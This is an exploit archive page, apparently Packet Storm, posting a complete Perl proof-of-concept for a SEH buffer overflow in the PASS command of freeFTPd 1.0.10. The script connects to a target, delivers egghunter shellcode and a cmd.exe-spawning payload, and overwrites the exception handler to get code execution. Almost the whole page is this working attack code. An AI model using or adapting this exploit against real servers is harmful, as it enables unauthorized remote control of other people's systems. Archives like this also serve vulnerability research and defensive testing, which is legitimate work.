what you don't know can hurt you

freeFTPd 1.0.10 Buffer Overflow

freeFTPd 1.0.10 Buffer Overflow
Posted Aug 21, 2013
Authored by Wireghoul | Site justanotherhacker.com

freeFTPd version 1.0.10 PASS command SEH buffer overflow exploit.

tags | exploit, overflow
MD5 | 706f878acc4678d22b7b11d8bf0d6c7f

freeFTPd 1.0.10 Buffer Overflow

Change Mirror Download
#!/usr/bin/perl
# freeFTPd 1.0.10 anonymous-auth PASS SEH buffer overflow
# PoC by Wireghoul - www.justanotherhacker.com
# Date: 20130820
# Tested on: XPSP3
# Similar exploits:
# EDB 23079 1330 1339
# Greetz corelan, TecR0C, mr_me, jjkakakk

if (scalar(@ARGV) != 2) { "Usage $0 host port\n"; exit; }
use IO::Socket::INET;
# Null byte in ppr forces a backwards short jump allowing 128 bytes
shellcode max
# Thus we use an egghunter
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"WRGL".
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
# I expect the max lenght for this is ~1024 bytes, didn't bother checking
# Spawn cmd.exe from msfpayload windows/exec CMD=cmd.exe R | msfencode -b
'\x0a\x0d' -t perl
my $shell =
"\xd9\xeb\xd9\x74\x24\xf4\x5e\xbf\xe0\xdd\xfb\x11\x33\xc9" .
"\xb1\x32\x31\x7e\x1a\x83\xc6\x04\x03\x7e\x16\xe2\x15\x21" .
"\x13\x98\xd5\xda\xe4\xfb\x5c\x3f\xd5\x29\x3a\x4b\x44\xfe" .
"\x49\x19\x65\x75\x1f\x8a\xfe\xfb\xb7\xbd\xb7\xb6\xe1\xf0" .
"\x48\x77\x2d\x5e\x8a\x19\xd1\x9d\xdf\xf9\xe8\x6d\x12\xfb" .
"\x2d\x93\xdd\xa9\xe6\xdf\x4c\x5e\x83\xa2\x4c\x5f\x43\xa9" .
"\xed\x27\xe6\x6e\x99\x9d\xe9\xbe\x32\xa9\xa1\x26\x38\xf5" .
"\x11\x56\xed\xe5\x6d\x11\x9a\xde\x06\xa0\x4a\x2f\xe7\x92" .
"\xb2\xfc\xd6\x1a\x3f\xfc\x1f\x9c\xa0\x8b\x6b\xde\x5d\x8c" .
"\xa8\x9c\xb9\x19\x2c\x06\x49\xb9\x94\xb6\x9e\x5c\x5f\xb4" .
"\x6b\x2a\x07\xd9\x6a\xff\x3c\xe5\xe7\xfe\x92\x6f\xb3\x24" .
"\x36\x2b\x67\x44\x6f\x91\xc6\x79\x6f\x7d\xb6\xdf\xe4\x6c" .
"\xa3\x66\xa7\xfa\x32\xea\xd2\x42\x34\xf4\xdc\xe4\x5d\xc5" .
"\x57\x6b\x19\xda\xb2\xcf\xd5\x90\x9e\x66\x7e\x7d\x4b\x3b" .
"\xe3\x7e\xa6\x78\x1a\xfd\x42\x01\xd9\x1d\x27\x04\xa5\x99" .
"\xd4\x74\xb6\x4f\xda\x2b\xb7\x45\xb9\xa6\x23\x48\x58\x41" .
"\xc9\x94";
my $egg = "USER WRGLWRGL$shell\r\n";
my $usr = "USER anonymous\r\n"; # Must be an existing anonymous account
# I'm lazy, NOPs are fine by me
my $pre = "PASS " . "\x90" x (797 - length($egghunter)) . $egghunter;
my $seh1 = "\x90\x90\xEB\x80"; # nop, nop, jmp+4
my $seh2 = "\xf0\x42\x41\x00"; # PPR from freeFTPDService.exe (only unsafe
SEH module), 0x004142f0
my $pad = "X" x 209 ."\r\n";

my $payload = $pre . $seh1 . $seh2 . $pad;

my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
connect!\n";
my $eggsock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
connect!\n";
print $eggsock $egg;
sleep 1;
print $sock $usr;
sleep 1;
print "Preparing exploit\n";
sleep 1;
print $sock $payload;
print "Exploiting\n";
sleep 3;
print "Done\n";

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close